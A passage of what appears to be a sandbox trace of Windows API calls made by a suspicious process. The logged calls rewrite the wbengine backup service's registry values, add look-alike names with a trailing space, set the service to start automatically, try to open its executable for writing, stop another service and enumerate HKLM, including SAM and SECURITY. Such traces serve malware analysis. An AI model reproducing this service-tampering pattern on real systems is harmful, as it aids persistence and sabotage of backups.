(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0239.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0239.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0239.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0239.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0239.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0239.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0239.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.331] RegQueryValueExA (in: hKey=0x150, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0239.331] RegQueryValueExA (in: hKey=0x150, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4190, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0239.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0239.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0239.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0239.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0239.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0239.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0239.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0239.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0239.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0239.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0239.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0239.332] RegQueryValueExA (in: hKey=0x14c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0239.332] RegQueryValueExA (in: hKey=0x14c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f42b0, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0239.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0239.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0239.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0239.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0239.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0239.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0239.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0239.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0239.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0239.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0239.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0239.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0239.332] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0239.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0239.332] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0239.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.332] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0239.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0239.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0239.333] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0239.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0239.333] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0239.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.333] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0239.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0239.333] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.333] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0239.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0239.333] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0239.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0239.333] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0239.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0239.333] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0239.333] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0239.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0239.333] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0239.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0239.334] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0239.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0239.334] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0239.334] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0239.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0239.334] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0239.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0239.334] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0239.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0239.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0239.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0239.334] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbengine.exe", cbData=0x21 | out: lpData="C:\\Windows\\system32\\wbengine.exe") returned 0x0 [0239.335] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbengine.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f2c48*="C:\\Windows\\system32\\wbengine.exe" [0239.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0239.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0239.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.335] LocalFree (hMem=0x7f2c48) returned 0x0 [0239.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\wbengine.exe", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0239.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0239.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\wbengine.exe", cchWideChar=32, lpMultiByteStr=0x21f4778, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\wbengine.exe", lpUsedDefaultChar=0x0) returned 32 [0239.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.335] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbengine.exe", cbData=0x21 | out: lpData="C:\\Windows\\system32\\wbengine.exe") returned 0x0 [0239.335] OpenServiceW (hSCManager=0x803918, lpServiceName="wbengine", dwDesiredAccess=0x2) returned 0x8038a0 [0239.378] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0239.379] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0239.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0239.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0239.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0239.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0239.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0239.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.380] RegCloseKey (hKey=0x150) returned 0x0 [0239.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0239.380] RegCloseKey (hKey=0x14c) returned 0x0 [0239.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0239.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0239.380] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbengine.exe" (normalized: "c:\\windows\\system32\\wbengine.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb688d32a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb688d32a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0239.380] CreateFileW (lpFileName="C:\\Windows\\system32\\wbengine.exe" (normalized: "c:\\windows\\system32\\wbengine.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.380] GetLastError () returned 0x20 [0239.380] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0239.381] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0239.381] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0239.381] OpenServiceW (hSCManager=0x803918, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x20) returned 0x803990 [0239.382] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0239.382] GetLastError () returned 0x425 [0239.382] CloseServiceHandle (hSCObject=0x803990) returned 1 [0239.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0239.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0239.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0239.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0239.382] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0239.382] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0239.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0239.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.383] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0239.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0239.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.383] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0239.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0239.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.383] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0239.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0239.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.383] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0239.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.383] RtlAllocateHeap 